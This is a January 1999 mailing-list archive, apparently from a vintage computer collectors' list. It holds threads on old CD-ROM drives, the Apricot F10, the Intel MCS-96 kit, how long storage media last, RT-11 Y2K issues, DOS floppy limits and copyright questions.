> I have one. I even have the service manual for it. While it doesn't give > much information on the PC interface, it includes enough info to figure > out how it works. I'm not sure which one you're referring to, but their first CD-ROM drive, the top-loading CM-100 (aka DEC RRD-40, apparently) was based on the same mechanism as their first Marantz brand CD-Audio player. Aside from the CD-Audio chip set, there are no ASICs or other difficult-to-reverse-engineer parts in it, or on the CM-153 host interface. They just took the audio chip set, disabled the interpolation, and added an 8051 and about 35 TTL and CMOS SSI chips to massage the data. Since the Philips CD-Audio chipset was reasonably well documented, it was really easy to figure out how everything worked and disassemble the 8051 code. Try that with a current 40X CD-ROM drive. :-) From cmcmanis at freegate.com Sun Jan 17 23:31:38 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:14 2005 Subject: Disasters and Recovery In-Reply-To: References: <199901180352.UAA07106@calico.litterbox.com> Message-ID: <4.1.19990117213113.00985390@208.226.86.10> But where can you find a drive that can read a sheep? At 08:33 PM 1/17/99 -0800, you wrote: >On Sun, 17 Jan 1999, Jim Strickland wrote: > >> It bears mentioning that the dead sea scrolls were written on sheep hide. > >Doh! > >Sellam Alternate e-mail: dastar@siconic.com >------------------------------------------------------------------------------ >Always being hassled by the man. > > Coming in 1999: Vintage Computer Festival 3.0 > See http://www.vintage.org/vcf for details! > [Last web site update: 01/15/99] > From marvin at rain.org Sun Jan 17 23:28:52 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:14 2005 Subject: Intel MCS-96 Design Kit References: <19990118051227.656.qmail@brouhaha.com> Message-ID: <36A2C694.6EB3756@rain.org> Anyone know what this Intel MCS-96 Design Kit is? It contains a C8095 in a 48 lead DIP, an A8097 pin-grid-array package, two D2004 DIPs, and two D27513 DIPs. The package appears to be complete and I would guess circa 1983. From george at racsys.rt.rain.com Sun Jan 17 23:46:16 1999 From: george at racsys.rt.rain.com (George Rachor) Date: Sun Feb 27 18:40:14 2005 Subject: Apricot F10 In-Reply-To: <9901162013.ZM2642@indy.dunnington.u-net.com> Message-ID: Rats...... Couldn't find the keyboard.... Anybody want an F10 without a keyboard? George ========================================================= George L. Rachor george@racsys.rt.rain.com Beaverton, Oregon http://racsys.rt.rain.com United States of America Amateur Radio : KD7DCX On Sat, 16 Jan 1999, Pete Turnbull wrote: > On Jan 16, 10:42, George Rachor wrote: > > Subject: Apricot F10 > > Spotted a curious find last night... > > > > It was labeled Apricot F10. > > > > It was narrow and had a minidisk slot in the front. In the back it had > > what looked like a rca jack (Video?), a parallel port (Centronics) a nine > > pin(serial) and something like a DB25. > > > > I suspect this is an expansion unit for the apricot line as I saw no > > obvious keyboard port unless it was the DB-25... > > I don't think it's an expansion unit; I'm pretty sure it's a complete > computer, except that it's not complete in this case :-) It sounds very > like an F1, so perhaps the connections are similar. > > On the back of an F1, there's a 25-pin D serial port, a 9-pin D colour > monitor connector, an RCA jack mono (composite video) monitor socket, > centronics parallel port on the bottom, and a pair of power connectors > higher up. The main power socket is an IEC style, and there's a 12V power > input for use with an Apricot mono monitor as well. The keyboard > connection on an F1 is by an infrared link. There's an IR sensor on the > front, and a fibre optic connector as well, for situations where the > sensor picks up too much interference. > > Perhaps the F10 also has an unusual keyboard connection on the front? > > -- > > Pete Peter Turnbull > Dept. of Computer Science > University of York > From george at racsys.rt.rain.com Sun Jan 17 23:47:09 1999 From: george at racsys.rt.rain.com (George Rachor) Date: Sun Feb 27 18:40:14 2005 Subject: Apricot F10 In-Reply-To: <000301be418f$e87d3100$1ff438cb@a.davie> Message-ID: Couldn't find the monitor either! George ========================================================= George L. Rachor george@racsys.rt.rain.com Beaverton, Oregon http://racsys.rt.rain.com United States of America Amateur Radio : KD7DCX On Sun, 17 Jan 1999, Andrew Davie wrote: > I have an Apricot computer. Not sure if its an F10 > The keyboard on mine is infra-red, explaining the lack of a KB port. > Long, about 18", narrow - about 6" > Comes with a neat little monitor sits on top of the unit. > Unusual, attractive design. > A > > -- > adavie@mad.scientist.com > visit the Museum of Soviet Calculators at > > http://www.comcen.com.au/~adavie/slide/calculator/soviet.html >   >   > > > > -----Original Message----- > > From: CLASSICCMP-owner@u.washington.edu > > [mailto:CLASSICCMP-owner@u.washington.edu]On Behalf Of George Rachor > > Sent: Sunday, January 17, 1999 5:42 AM > > To: Discussion re-collecting of classic computers > > Subject: Apricot F10 > > > > > > Spotted a curious find last night... > > > > It was labeled Apricot F10. > > > > It was narrow and had a minidisk slot in the front. In the back it had > > what looked like a rca jack (Video?), a parallel port (Centronics) a nine > > pin(serial) and something like a DB25. > > > > I suspect this is an expansion unit for the apricot line as I saw no > > obvious keyboard port unless it was the DB-25... > > > > Anybody recognize this? > > > > George Rachor > > > > ========================================================= > > George L. Rachor george@racsys.rt.rain.com > > Beaverton, Oregon http://racsys.rt.rain.com > > United States of America Amateur Radio : KD7DCX > > > > > > From doug at blinkenlights.com Sun Jan 17 23:33:18 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:15 2005 Subject: Intel MCS-96 Design Kit In-Reply-To: <36A2C694.6EB3756@rain.org> Message-ID: On Sun, 17 Jan 1999, Marvin wrote: > Anyone know what this Intel MCS-96 Design Kit is? It contains a C8095 in a > 48 lead DIP, an A8097 pin-grid-array package, two D2004 DIPs, and two D27513 > DIPs. The package appears to be complete and I would guess circa 1983. MCS = Micro Computer System, I believe. 96 = 8096 (an intel microcontroller). You have a design kit for the 8096. (BTW, MDS = Microprocessor Development System, I think.) -- Doug From jim at calico.litterbox.com Sun Jan 17 23:37:13 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:40:15 2005 Subject: Disasters and Recovery In-Reply-To: <4.1.19990117213113.00985390@208.226.86.10> from "Chuck McManis" at Jan 17, 1999 09:31:38 PM Message-ID: <199901180537.WAA07547@calico.litterbox.com> Well, my understanding is that there is a program for BEOS called SheepShaver , perhaps in addition to letting you run MacOS programs on a BE box it reads sheep? ;) > > But where can you find a drive that can read a sheep? > > At 08:33 PM 1/17/99 -0800, you wrote: > >On Sun, 17 Jan 1999, Jim Strickland wrote: > > > >> It bears mentioning that the dead sea scrolls were written on sheep hide. > > > >Doh! > > > >Sellam Alternate e-mail: dastar@siconic.com > >------------------------------------------------------------------------------ > >Always being hassled by the man. > > > > Coming in 1999: Vintage Computer Festival 3.0 > > See http://www.vintage.org/vcf for details! > > [Last web site update: 01/15/99] > > > -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From mbg at world.std.com Mon Jan 18 00:08:22 1999 From: mbg at world.std.com (Megan) Date: Sun Feb 27 18:40:15 2005 Subject: RT-11 Help References: <199901121549.AA03657@world.std.com> Message-ID: <199901180608.AA00278@world.std.com> Jerome Fine wrote: >I know that Megan Gentry and many other RT-11 devotes >frown on the non-official Y2K solution for early versions >of RT-11. If anyone reading this wants to inquire, please >add your 2 cents. Anyone who insists on a complete >Y2K V5.7 of RT-11 is free (or actually "cost") to do so >at whatever price they want to pay. Of course, I have >been led to believe that Mentec will fix any bugs in V5.7 >that remain, but you have better get that in writing if >you are depending on that to be done. Please don't put words in my mouth... The fact is that I am aware of no official Y2K solution for any version of RT-11 prior to V5.7 (recently released by Mentec) other than to upgrade to V5.7. Any 'solution' for earlier versions would, by virtue of the fact that Mentec owns the rights to the software, be unofficial. Also, any such 'solution', produced using sources which were purchased by a given site, would not (as far as I know) be legal to distribute. They would only be usable at the site where the changes were developed. I suspect that any person on this list who has a pdp-11 knows full well that there will be date problems in 2000 and many know what to do about it... they'll survive. And those persons responsible for commercial pdp-11 systems will probably get V5.7, or again, they will know what to do to get by. Heck, when I was with the RT-11 development team, we had customers who could take the system apart and put it back together as easily as any developer on the team... RT users were not naive users... I'm sure the same could be said for the RSTS and RSX users as well... Megan Gentry Former RT-11 Developer +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg | +--------------------------------+-------------------------------------+ From museum at techniche.com Mon Jan 18 00:14:41 1999 From: museum at techniche.com (Jon Healey) Date: Sun Feb 27 18:40:15 2005 Subject: No subject Message-ID: <199901180614.BAA17115@chmls05.mediaone.net> There was a very interesting article that appearred in the NY times last week about publishing copyrighted materials on the web. I thought it was apropos given the list members that have volunteered to publish old manuals and such on their web sites. The focus of the ariticle is not on technical specs but there are analogies even though the issues are not identical. As we know sometimes technical materials are not released under the guise of limiting the copyright holders liability. Or releasing the documents somehow reduces a competitive advantage. Or the fear that release somehow implies a warranty or guarantee of support. The article argues against a recent change to retroactively extend the period of copyright. And is being brought by a collaboration of folks many who publish previously copyrighted, and now public domain material on the web. It is recent news, but it affect documentation that clearly falls into our area of interest. I have not included it here because it is a little long. If anyone wants to see it contact me and I'll forward you a copy in e-mail (I don't have a site to post it on, anyone want to volunteer?). Jon From doug at blinkenlights.com Mon Jan 18 00:20:48 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:15 2005 Subject: copyrights In-Reply-To: <199901180614.BAA17115@chmls05.mediaone.net> Message-ID: On Mon, 18 Jan 1999, Jon Healey wrote: > There was a very interesting article that appearred in the NY times last > week about publishing copyrighted materials on the web. [...] > I have not included it here because it is a little long. If anyone wants > to see it contact me and I'll forward you a copy in e-mail (I don't have > a site to post it on, anyone want to volunteer?). Err, isn't it copyrighted? Of course, if you were to post it at some anonymous geocities web page, they would never be able to track you down.... -- Doug From healyzh at aracnet.com Mon Jan 18 00:32:01 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:15 2005 Subject: OT: Alien Media (was Disasters and Recovery) In-Reply-To: <199901180305.TAA07174@saul7.u.washington.edu> Message-ID: >Slightly related to the subject of reading CD's in 100 years: > >On one of their recent space probes, NASA put a DVD (just the disk, in a >little pocket on the outside of the probe, possibly with a plaque of some >kind but probably no directions on reading). > >I suspect DVD's are much more complex than CD's. I would trust a CD on a >space probe more than I would trust a DVD. The records on Voyager (both >Voyagers, I guess) -- which include styli and playing directions -- strike >me as a MUCH better idea. > >-- Derek I just got a DVD player so I've been checking out the DVD newsgroup and Websites, and one topic that is disturbing considering the cost of DVD's is 'DVD Rot'. There seem to be two different camps on this topic, one is that it doesn't exist, the other obviously is that it does, and that it might be the result of manufacturing defects. I've been able to find out media lifespans for several types of media, for CD's: CD-R ~10 years CD-ROM ~100 years DVD ??? I wish I knew, anyone have any idea? Of course times listed are for ideal storage conditions, etc. The reason for the much shorter lifespan of CD-R disks apparently has something to do with dye that they use in making them. In any case, I've got to wonder how the cold of space would effect a CD-ROM or a DVD. My guess is that it would be to much for it. Low capacity media does seem to be the best method of maintaining 'high-value' data. Of course there are other factors. The best solution is to copy to a newer form of media about every 5 years. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From kyrrin at bluefeathertech.com Mon Jan 18 00:28:57 1999 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:40:15 2005 Subject: TK50Z-GA EPROM In-Reply-To: References: <3.0.5.32.19990116093829.0093d100@mail.bluefeathertech.com> Message-ID: <3.0.5.32.19990117222857.00954a20@mail.bluefeathertech.com> At 13:05 17-01-1999 -0800, you wrote: >OK, the issue of what kind of ROM is getting boring :^) How about the >important info, did it work? Cripes! I'm sorry, yes! Everything worked beautifully. However, it appears that the tape image provided for NetBSD is not quite ready for a TK50 cartridge (for whatever reason). I've also tried it on a QIC-style cartridge with exactly the same results (failure), so I also consider it possible that the tape image needs further tweaking, period. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner and head honcho, Blue Feather Technologies http://www.bluefeathertech.com Amateur Radio:(WD6EOS) E-mail: kyrrin@bluefeathertech.com SysOp: The Dragon's Cave (Fido 1:343/272, 253-639-9905) "Our science can only describe an object, event, or living thing in our own human terms. It cannot, in any way, define any of them..." From zmerch at 30below.com Mon Jan 18 00:55:08 1999 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:40:15 2005 Subject: OT: Alien Media (was Disasters and Recovery) In-Reply-To: References: <199901180305.TAA07174@saul7.u.washington.edu> Message-ID: <3.0.1.32.19990118015508.0098c9d0@mail.30below.com> On or about 10:32 PM 1/17/99 -0800, Zane H. Healy was caught in a dark alley speaking these words: >I've been able to find out media lifespans for several types of media, for >CD's: > CD-R ~10 years > CD-ROM ~100 years > DVD ??? I wish I knew, anyone have any idea? From Hans.Franke at mch20.sbs.de Mon Jan 18 05:41:28 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:15 2005 Subject: Fanware In-Reply-To: <3.0.16.19990115143720.4987617e@ricochet.net> Message-ID: <199901181042.KAA27653@nixpbe.pdb.sni.de> > (And those that were at VCF got > a chance to meet my dad -- not the most spry fellow, but a nice guy.)) The most remarkable spot on VCF (sorry Sam :) Gruss H. -- Ich denke, also bin ich, also gut HRK From foxvideo at wincom.net Mon Jan 18 06:55:57 1999 From: foxvideo at wincom.net (Charles E. Fox) Date: Sun Feb 27 18:40:15 2005 Subject: Disasters and Recovery In-Reply-To: References: Message-ID: <3.0.5.32.19990118075557.007a2100@mail.wincom.net> At 04:18 PM 1/17/1999 -0800, you wrote: >On Sun, 17 Jan 1999, Tony Duell wrote: > >> > >How about we start sending all our precious data into space via radio >waves towards some big celestial body (like one of Jupiter's moons) so >that in X years it will bounce back and we can then retrieve it >(hopefully intact thanks to some keen error correction protocol). Of >course you'd have to send it on such a trajectory that both the >transmission and bounced data stream are not obscured by some other object >(like that pesky moon!) > >Sellam Alternate e-mail: dastar@siconic.com >--------------------------------------------------------------------------- --- >Always being hassled by the man. > > Coming in 1999: Vintage Computer Festival 3.0 > See http://www.vintage.org/vcf for details! > [Last web site update: 01/15/99] > > The picture that comes to mind is all this data heading out into space to be recovered by some advanced alien intellegence at a far galaxy, who then have a look at Windows and decide Earth is populated by a very uncivilized race and forthwith declare war. (Think I could sell this as a pilot for a program to replace the X-Files?) Cheers Charlie Fox Charles E. Fox Chas E. Fox Video Productions 793 Argyle Rd. Windsor N8Y 3J8 Ont. Canada email foxvideo@wincom.net Homepage http://www.wincom.net/foxvideo From foxvideo at wincom.net Mon Jan 18 07:10:05 1999 From: foxvideo at wincom.net (Charles E. Fox) Date: Sun Feb 27 18:40:15 2005 Subject: Disasters and Recovery In-Reply-To: References: Message-ID: <3.0.5.32.19990118081005.007add00@mail.wincom.net> At 07:57 PM 1/17/1999 -0800, you wrote: >On Sun, 17 Jan 1999, Doug wrote: > >> > Paper will last longer than anything we've been discussing so far (save >> >> Where did you get that idea? Paper will disolve in just about any >> solvent, including water, and is subject to tearing. Again, if we're >> talking about preservation in controlled environments, a CD-ROM kicks >> paper's butt. > >What are you talking about? The whole aversion to using CD's was the fact >that they have a theoretical shelf life of only 50-100 years. Like I >said, the Dead Sea scrolls lasted more than two millenia without much >thought going into how to preserve them. And here you are talking about >going thru the trouble of filling a chamber with inert gasses to promote >preservation. Unless your line of thinking is to fill the chamber with >water just to give paper a challenge. > >Paper has passed the test of time. You can go into antique book shops and >find volumes hundreds of years old that are still very readable and very >intact. > >CDs, on the other hand, have only been with us a couple decades. > >> What makes some of today's technology fragile is simply the density, or >> equivalenty, the lack of redundancy in a given area. A plain old EPROM >> should be fine for 100 years if you include 100 copies of the information >> within it. > >100 copies on what? 100 other EPROMs? On CD? Or encoded on paper? > >Sellam Alternate e-mail: dastar@siconic.com >--------------------------------------------------------------------------- --- >Always being hassled by the man. > > Coming in 1999: Vintage Computer Festival 3.0 > See http://www.vintage.org/vcf for details! > [Last web site update: 01/15/99] > > I still have people trying (without much success) to get video transferred off their 1970 vintage 1/2 inch reels. On the other hand I have several Edison cylinders from the early 1900's that are still playable, although not exactly "hi-fi". Cheers Charlie Fox Charlie Fox Charles E. Fox Chas E. Fox Video Productions 793 Argyle Rd. Windsor N8Y 3J8 Ont. Canada email foxvideo@wincom.net Homepage http://www.wincom.net/foxvideo From cfandt at netsync.net Mon Jan 18 07:46:37 1999 From: cfandt at netsync.net (Christian Fandt) Date: Sun Feb 27 18:40:15 2005 Subject: NY Times article In-Reply-To: <199901180614.BAA17115@chmls05.mediaone.net> Message-ID: <4.1.19990118084422.00b15ba0@206.231.8.2> At 01:14 AM 1/18/99 -0500, you wrote: >There was a very interesting article that appearred in the NY times last >week about publishing copyrighted materials on the web. Hi Jon, could you please email that article from the NY Times to me? I'm interested in reading it. Or . . . has someone plopped it on their website yet? URL? Thanks much, Chris -- -- Christian Fandt, Electronic/Electrical Historian Jamestown, NY USA cfandt@netsync.net Member of Antique Wireless Association URL: http://www.ggw.org/freenet/a/awa/ From Hans.Franke at mch20.sbs.de Mon Jan 18 09:08:47 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:15 2005 Subject: Intel MCS-96 Design Kit In-Reply-To: <36A2C694.6EB3756@rain.org> Message-ID: <199901181409.OAA04863@nixpbe.pdb.sni.de> > Anyone know what this Intel MCS-96 Design Kit is? It contains a C8095 in a > 48 lead DIP, an A8097 pin-grid-array package, two D2004 DIPs, and two D27513 > DIPs. The package appears to be complete and I would guess circa 1983. Its a development kit for the MCS96 series of CPU a hig integrated controller type CPU family - think of it like a mutant crossbreed of a 8051 and a 80386sx - fast, and realy interesting to programm. Used in a lot of application where a lot af real time CPU power is needed, especialy high data throughput, like air plane systems, car systems etc. The 96 has some 20+ interupt sources, high speed i/o, 8/16 bit data bus, A/D etc. Very Register orientated (some 200 Registers depending on the adressing type) and simple. There are a lot of versions with numbers from 8094 to 8096, 80194 to 80198 and around 80296 - together with subversions, names by two letters. But most of them are just different on chip ROMs. The 8097 is a 8096 with enhanced A/D functionality, the BHs are the ROMless versions (I always grin a bit about this typecode, since BH is the german abrevation for bra (BüstenHalter), so the 809xBH is a topless version :) in 68 pin PGA, while the 8095 is also a 8096 with A/D but less I/O ports to fit a 48 pin DIL (again, the BH is ROMless. Since there are EPROMS, I guess both are BHs. (There are also EPROM versions, like always called 879x. Gee, what I'm talking, check http://developer.intel.com/design/MCS96/ (inel hides there information quite good - a search reveals only a Y2K document) or better try http://www.iaw.com/~aubertin/88mgt/eec-iv/8096cpu.htm for more (did a quick search - Am I good ?:) Hey, Marvin, If you don't like this beast, I spend my time in helping orphaned singleboarders :) Have a lot of fun (There are a lot of good development tools for the MCS96 family, so it should be possible to play a bit). In Intel's mind, the i960 is the successor... Gruss H. -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Mon Jan 18 09:30:57 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:15 2005 Subject: IBM Floppy(was:Merced - and the ol' Unix story (was Re: OT, but info needed: RAM uprade)) In-Reply-To: <9901161814.ZM2472@indy.dunnington.u-net.com> References: "Max Eskin" "Re: Merced - and the ol' Unix story (was Re: OT, but info needed: RAM uprade)" (Jan 15, 19:35) Message-ID: <199901181431.OAA05323@nixpbe.pdb.sni.de> > > In fact, I've always found the limitations of DOS and PCs curious. Does > > anyone know why: > > *They refuse to boot from anything but A: or C: > > *DOS FDISK refuses to create more than 1 primary partition > > *DOS can't find an ATAPI cd-rom without a driver, even though it's an IDE > > device > Pass. > > *Why we are limited to 2 floppy drives in DOS > Actually, you can have 4, if you have a controller at the secordary floppy > controller address as well as at the primaryfloppy controller address. > Each controller can only have two drives because of a silly hardware setup > chosen by IBM. But soon after that, Hardwarepatches (and BIOS versions) where available to connect again 4 Drives to a PC with one controller (Or if you don't want to modify, buy a third party solution). I have still 4 FD drives on my PC-XT via one FD controller. Gruss H. -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Mon Jan 18 09:30:57 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:15 2005 Subject: Famous quotes(4 drives on a PC) (was:: Merced - and the ol' Unix story (was Re: OT, but info needed: RAM uprade)) In-Reply-To: <199901162134.PAA23518@wildride.netads.com> References: <9901161814.ZM2472@indy.dunnington.u-net.com> from "Pete Turnbull" at Jan 16, 99 06:14:07 pm Message-ID: <199901181431.OAA05326@nixpbe.pdb.sni.de> > | *Why we are limited to 2 floppy drives in DOS > The same reason there are absurd memory limitations, etc. > Someone wasn't thinking very far ahead. > ``Why would anyone *ever* need more than [amount] [thing]?'' > The problem was that the people doing the PC development > weren't looking at micros as real computers. They saw > them as little more than toys - they just happened to be > toys you could sell to companies to put on the desktop. Nice, and sounds good, but often (as here found) just a modern, urban legend - the IBM twist was just a genius thing to keep part storage and maintainance costs low - with the twisted cable you _can't_ install a wrong drive as add on, and you _don't_ need to check any jumper or what ever (supposed the drive is factory jumpered to #1) Solutions of that kind are common in all times and are strictly production/maintanance related and _not_ short- sighted - The developers _did_ see a need for more drives, so they offered the possibility to add more than one controller by default. You just can't blame anything on one quote. Gruss H. -- Ich denke, also bin ich, also gut HRK From erd at infinet.com Mon Jan 18 08:41:43 1999 From: erd at infinet.com (Ethan Dicks) Date: Sun Feb 27 18:40:15 2005 Subject: Famous quotes(4 drives on a PC) (was:: Merced - and the ol' Unix story (was Re: OT, but info needed: RAM uprade)) In-Reply-To: <199901181431.OAA05326@nixpbe.pdb.sni.de> from "Hans Franke" at Jan 18, 99 03:31:57 pm Message-ID: <199901181441.JAA27729@user2.infinet.com> > with the twisted cable you _can't_ install a wrong drive > as add on, and you _don't_ need to check any jumper or > what ever (supposed the drive is factory jumpered to #1) I recently helped a friend with a floppy problem. His broke so he bought a new one from CompUSA. It didn't work. Two other geeks looked at it before me with no success. I tried to read a floppy, noticed the errors and lights, etc. then pulled the drive, found the slide switch on the side and changed it from 0 to 1. Don't assume drives are set to unit 1 at the factory. -ethan From SUPRDAVE at aol.com Mon Jan 18 08:46:52 1999 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:40:15 2005 Subject: more auction silliness... Message-ID: <2d859317.36a3495c@aol.com> http://www.haggle.com/cgi/getitem.cgi?id=201894731 shows some induhvidual selling some IBM family one machine, most likely a 5150 pc with a minimum bid of $500. Gee, i wonder if he'd buy my 'rare' 5140 for that price... lol. From jhfine at idirect.com Mon Jan 18 09:26:48 1999 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 18:40:15 2005 Subject: Available: Internal Memory Expansion for Pro-3xx References: <36A26B0E.CAD1E543@halcyon.com> Message-ID: <36A352B8.9ED83833@idirect.com> >David C. Jenner wrote: > I have a couple of internal memory expansion boards for the DEC > Pro-350. They have 128KB of memory (64Kbit chips). These work > in 350s and probably in 380s, too. You can desolder the 64Kbit > chips and put (sockets with) 256Kbit chips on them, solder in two > jumpers, and they become 512KB memory expansion boards (which work > for sure on the 380 and maybe on the 350). > > (Note: This board does not plug into the expansion connectors, > but does plug directly in to the mother board.) > > If you want one let me know. They're free, but if I get more > requests than I have boards, I'll give preference to anyone with > something to trade. Jerome Fine replies: I think I have a working Pro-350 and would likely appreciate having more memory. However, my primary focus is with an actual PDP-11 on a Qbus, so if these boards are requested by someone else, please send them to a warm home. Sometime next year, I will have to go through my collection of PDP-11 hardware and sort out what I want to keep for the long term. I would appreciate some guidance on what is reasonable to keep for at least a 20 year period. Sincerely yours, Jerome Fine RT-11/TSX-PLUS User/Addict From jhfine at idirect.com Mon Jan 18 09:26:58 1999 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 18:40:15 2005 Subject: Disasters and Recovery References: Message-ID: <36A352C2.9DA7FDAE@idirect.com> >Doug wrote: > On 17 Jan 1999, Eric Smith wrote: > > > I wouldn't expect a hard drive to be workable after 100 years of storage, > > even in an inert gas atmosphere. > > Why not? Which parts would degrade? I think most modern systems have > flash EPROMS, including some disk drive firmware, and that's probably > going to have problems as you mentioned. Even normal ROMs have problems > with fusing gates, right? I would think a hard disk and heads should be > OK if left undisturbed with no oxidizing agents and no strong magentic > fields. > > Put representative types of common media in the capsule, and let the > people from the year 2100 figure out which survive best. Now, which OS > should the machine run, Linux or Windows? Jerome Fine replies: I have a very serious question. I want to be able to run a PDP-11 Qbus system until 2036. If you want to know the reason, it is because the DATE word value turns "negative" (the high order bit is first used) on 01-Jan-2036. While I realize that this objective is probably ridiculous from most points of view and it is possible that I will not be around when I am 97 to enjoy watching the change over in real-time as it actually happens for real, nevertheless, it is a present goal and plan of mine to take 1985 hardware and software and have it running 36 additional years from NOW. Can anyone suggest if my goal of having a BA23 with a PDP-11 inside (MicroPDP-11) still running in 36 more years is reasonable. And what might it take to accomplish the goal. In addition, I am more interested in the software, namely RT-11 (which I intend to gradually convert for hobby users for V5.3 by the end of the year for the utilities which are most of interest - I have already done some of V5.4G, but it is not available for hobby use). The question is which system is more likely to be able to run in 36 years: (a) A real MicroPDP-11 (b) Some sort of OS and hardware which can run W95 which is presently able to run the E11 PDP-11 emulator by John Wilson? Sincerely yours, Jerome Fine RT-11/TSX-PLUS User/Addict From cube at msn.fullfeed.com Sat Jan 16 20:08:48 1999 From: cube at msn.fullfeed.com (Jay Jaeger) Date: Sun Feb 27 18:40:15 2005 Subject: IBM thingy! In-Reply-To: <3.0.1.16.19990114202427.2acf2e5a@intellistar.net> Message-ID: It sounds like a device for testing IBM terminals and/or controllers for IBM 8100's and/or mainframes. It may support two different connection types. SDLC (probably a standard 25-pin D Connector) and a thingy called an 8100 Loop (for the 8775 terminal) which is a local/remote ring protocol that predates Token Ring. Don't discard it or destroy it -- they are probably not all that easy to get, and I can imagine that one or more folks on this list might be interested in it. Jay At 08:24 PM 1/14/99 +0000, you wrote: > >> >>I went computer scrounging today and found a brief case style tool box >with some kind on IBM tester in it. I have so idea what it is but it has >an 8" floppy disk drive in it! I got the floppy disk too. It has a NICE >handset with a 4 line LED display and a full keyboard attached by a cable. >There's also a lot of strange looking connectors and adapters with it. The >main box has an "IPL" button and three connectors labeled "PIO", "S LOOP" >and "R LOOP". The quick reference chart only calls it a "MD". There's a >tag on it that says "TYPE 910x 002". Anyone know what it is and what it's >for? >> >> Joe > > I powered up the THING today. It says it's a Stand Alone Terminal >Exorciser, PN 08309930, date 01/84. It passes the self test and brings up a >menu that lets you select 327X Tutorial, 327X BSC, SDLC/SNA or R-LOOP. >Selecting the R-LOOP option brings up another menu for 8775 Device or 3276 >Device. That's as far as I can get in the menu, after that it asks for a CU >address or will autoscan for it but of course there's nothing connected so >it doesn't find what ever it's looking for. Does anyone know any more >about it? > > Joe > --- Jay R. Jaeger The Computer Collection Jay.Jaeger@msn.fullfeed.com visit http://www.msn.fullfeed.com/~cube From jfoust at threedee.com Mon Jan 18 09:57:32 1999 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:40:15 2005 Subject: Disasters and Recovery In-Reply-To: <4.1.19990117130119.0097cf10@208.226.86.10> References: <000c01be425a$1fb81480$0df438cb@a.davie> <1999Jan15.132933.1767.181240@smtp.itgonline.com> Message-ID: <3.0.5.32.19990118095732.00f01100@pc> At 01:08 PM 1/17/99 -0800, Chuck McManis wrote: >One of the reasons I want to have a completely spec'd Pentium class >computer is to create an archive that will survive a reasonable amount of >time (100 years in a time capsule) Don't you think that another 100 years of hackers will create a computer- assisted simulation of old-timey computing? Today's emulators are great; tomorrow's will include more and more. Sure, having the original hardware would be fun, but I fully expect that the equivalent of tomorrow's CCC list-members will be able to experience computing in 1999 terms, if they desire. - John From jfoust at threedee.com Mon Jan 18 09:51:44 1999 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:40:15 2005 Subject: older operating systems and... In-Reply-To: <01be421e$f17e7040$f3c962cf@devlaptop> Message-ID: <3.0.5.32.19990118095144.00ea3320@pc> At 08:40 AM 1/17/99 -0500, Mike wrote: >Anyone remember/use (read as: have a spare copy for...) of Wendin's OS >Toolkit. A pc release circa 88 that gave you some building blocks to roll >your own os? I remember Wendin from a COMDEX in the late 80s. They were handing out floppies containing a free disassembler, as I recall. A web search only turned up a few hits. They must've went under pre-Web. Their address is below. Let's see, they had an editor "XTC", a PC Unix kit, a clone DOS "Wendin DOS," that OS toolkit, this disassembler - what else? It looks like one of their founders or primary programmers is now at an embedded OS company as seen at . - John Wendin, Inc. P.O. Box 3888 Spokane, WA 99220 Tel: 1 509 747 1224 Fax: 1 509 838 5153 From museum at techniche.com Mon Jan 18 10:04:26 1999 From: museum at techniche.com (Jon Healey) Date: Sun Feb 27 18:40:15 2005 Subject: ebay reponding to legal concerns Message-ID: <199901181604.LAA08474@chmls06.mediaone.net> check this out: http://www.anchordesk.com/a/adt0118nk/2997 Doesn't do much about $8500 commodore's, but I could see it being an issue for collectors, especially in light of the copyright article that I mentioned last night. There are obvious issues about reselling last year's copyrighted software, especially if you're not careful to comply with the legal requirements (like you destroy all of your copies if you transfer ownership). But what about 15-20 year software? I guess legally the requirements are the same depending on what the original licensing contract agreement stated. Jon From healyzh at aracnet.com Mon Jan 18 10:50:54 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:15 2005 Subject: OT: Alien Media (was Disasters and Recovery) In-Reply-To: <3.0.1.32.19990118015508.0098c9d0@mail.30below.com> from "Roger Merchberger" at Jan 18, 99 01:55:08 am Message-ID: 